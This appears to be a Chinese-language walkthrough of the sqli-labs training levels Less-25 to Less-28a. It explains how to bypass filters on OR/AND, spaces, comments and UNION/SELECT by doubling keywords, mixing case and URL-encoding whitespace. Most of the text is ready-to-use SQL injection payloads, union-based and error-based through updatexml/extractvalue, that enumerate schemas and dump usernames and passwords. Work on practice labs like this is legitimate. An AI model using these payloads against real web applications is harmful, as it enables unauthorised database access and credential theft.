Less-25
基于错误-您所有的OR&AND都属于我们-字符串单引号
翻译:
注意:未定义变量:在第81行的C:\ phpStudy \ WWW \ sqli \ Less-25 \ index.php中提示
提示:将使用以下结果过滤您的输入:
一上来就有报错与提示信息。
有过滤的时候首先要判断这个过滤是一次性的还是非一次性的:
若是一次性的,且只是将过滤字符换成了空字符:
双写绕过—— or=oorr、and=anandd
若是非一次性的,就要考虑一些变形:
大小写变形绕过—— or=Or=oR=OR
利用运算符—— or=||、and=&&
URL编码绕过—— #=%23,Hex编码—— ~=0x7e
添加注释 —— /or/
双写绕过
暴字段:
?id=1’ oorrder by 3– #
?id=-1’ union select 1,2,3– #
暴库:
?id=-1’ union select 1,user(),database()– #
爆表:
?id=-1’ union select 1,(select group_concat(table_name) from infoorrmation_schema.tables where table_schema=’security’),3– #
爆字段:
?id=-1’ union select 1,(select group_concat(column_name) from infoorrmation_schema.columns where table_schema=’security’ anandd table_name=’users’),3– #
爆数据:
?id=-1’ union select 1,(select group_concat(concat_ws(‘-‘,id,username,passwoorrd)) from users),3– #
运算符绕过
?id=-1’ || extractvalue(1,concat(0x7e,database()))– #
或者
?id=1’ || extractvalue(1,concat(0x7e,database()))– # 都是一样的,理解or和函数extractvalue在一起的作用就会明白这两种写法都对。
Less-25a
基于Bool_GET_过滤AND/OR_数字型_盲注
本关与Less-25十分相似,既可以正常union注入也可以用脚本Bool或Time盲注。但却不能报错注入
原因在于没有输出错误项,即关闭了错误报告。
不在重复
Less-26
GET-基于错误-您所有的空格和注释都属于我们
根据提示我们知道这一关过滤了空格和注释,实际上过滤的远远不止这些,我们来看下源码:
可以确认一下:
?id=%231 //确认过滤了#
?id=or1 //确认过滤了or
*?id=/1 //确认过滤了多行注释
?id=–1 //确认过滤了单行注释
?id=/1 //确认过滤了斜杠
?id=1’ ‘ ‘ //确认过滤了空格,报错注入才行
?id=\ //确认过滤了反斜杠
暴库:
(注:url编码%26是运算符&,下面的%26%26换成运算符||也是可以的,但不能直接用&&,会报错,原理还不清楚,但使用&的url编码%26就不会报错)
?id=’%0bunion%0bselect%0b1,database(),3%26%26’7’=’7
爆表:
id=’union%0bselect%0b1,group_concat(table_name),3%0bfrom%0binfoorrmation_schema.tables%0bwhere%0btable_schema=’security’%26%26%0b’7’=’7
爆字段
id=’union%0bselect%0b1,group_concat(column_name),3%0bfrom%0binfoorrmation_schema.columns%0bwhere%0btable_schema=’security’%0baandnd%0btable_name=’users’%26%26%0b’7’=’7
爆数据:
id=’union%0bselect%0b1,group_concat(username,0x7e,passwoorrd),3%0bfrom%0busers%0bwhere%0b’7’=’7
用updatexml函数
爆数据库:
?id=’||updatexml(1,concat(‘$’,(database())),0)||’1’=’1
爆表:
?id=’||updatexml(1,concat(‘$’,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema=’security’))),0)||’1’=’1
爆字段:
?id=’||updatexml(1,concat(‘$’,(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema=’security’)%26%26(table_name=’users’))),0)||’1’=’1
爆数据:
?id=’||updatexml(1,concat(‘$’,(select(concat(‘$’,id,’$’,username,’$’,passwoorrd))from(users)limit%0b0,1)),0)||’1’=’1
Less-26a
基于错误_GET_过滤空格/注释_单引号_小括号_字符型_盲注
这关与 26 的区别在于,sql 语句添加了一个括号,同时在 sql 语句执行抛出错误后并不在前台页面输出。所有我们排除报错注入,这里依旧是利用 union 注入,布尔盲注,延时注入。
?id=1’ 报错,可初步得出是单引号字符型注入
?id=1’||’ 和?id=1’||1’ 会让我们误判为就是单引号字符型注入,因为带入源码中id=(‘1’||’’)和id=(‘1’||’1’)返回的结果都会是id=1 所以可以使用下面的语句来快速判断是否带有一个小括号,或者用前面讲的判断是否有小括号的方法也是一样的。
?id=1’)||(‘ (因为我们过滤了注释,使用这种可以很快的判断出是否是带一个括号的注入点)
暴库:
?id=’)%0bunion%0bselect%0b1,database(),3%0b||(‘1’)=(‘1
简写点:
?id=’)%0bunion%0bselect%0b1,database(),3%0b||1=(‘1
爆表:
id=’)%0bunion%0bselect%0b1,group_concat(table_name),3%0bfrom%0binfoorrmation_schema.tables%0bwhere%0btable_schema=’security’%26%261=(‘1
爆字段:
id=’)%0bunion%0bselect%0b1,group_concat(column_name),3%0bfrom%0binfoorrmation_schema.columns%0bwhere%0btable_schema=’security’%0baandnd%0btable_name=’users’%26%261=(‘1
爆数据:
id=’)%0bunion%0bselect%0b1,group_concat(passwoorrd,0x7e,username),3%0bfrom%0busers%0bwhere%0b1=(‘1
Less-27
基于错误_GET_过滤UNION/SELECT_单引号_字符型注入
先判断注入类型,发现是单引号字符型注入
发现没有过滤or与and,过滤了几个大小写的union和select但是可以用随机大小写绕过,过滤了–、#以及/**/,过滤了两次空格,过滤了/但没过滤\。
所以实际上只过滤了注释与空格,与 Less 26 相似。
直接大小写混合绕过即可
暴库:
?id=0’/%0a/UnIoN/%0a/SeLeCt/%0a/1,database(),2/%0a/||/%0a/‘1’=’1
爆表:
?id=0’%0aUnIoN%0aSeLeCt%0a1,(SeLeCt%0agroup_concat(table_name)%0afrom%0ainformation_schema.tables%0awhere%0atable_schema=’security’),3||’1
爆字段:
?id=0’%0buniOn%0bsElEct%0b1,(group_concat(column_name)),3%0bfrom%0binformation_schema.columns%0bwhere%0btable_schema=’security’%0bAnd%0btable_name=’users’%0b%26%26%0b’1’=’1
爆数据:
?id=0’/%0a/UnIoN/%0a/SeLeCt/%0a/1,(SeLeCt/%0a/group_concat(concat_ws(‘$’,id,username,password))/%0a/from/%0a/users),3/%0a/||/%0a/‘1’=’1
Less-27a
基于盲注_GET_过滤UNION/SELECT_双引号_字符型
双引号字符型注入
没有错误回显,不能进行报错注入,即无法使用updatexml函数等,但可以进行布尔盲注,因为他有无错误回显,即正确和错误页面返回的页面不同。
可以使用union联合注入,延时盲注。
Less-28
基于错误的,单引号字符型,过滤了union和select等的注入
发现没有过滤or与and。
过滤了相连的union和select,/i同时匹配大小写,\s匹配任意空白字符如制表符、换行符、空格等,使用%a0等空格的URL编码可以绕过。
过滤了–、#以及//。**
过滤了两次空格。
过滤了/但没过滤\。
这一关和Less-27a十分相似,可以利用联合注入,布尔盲注,延时注入。
Less-28a
基于盲注的,带括号的单引号字符型,过滤了union和select等的注入
本关与 28 基本一致,只是过滤条件少了几个。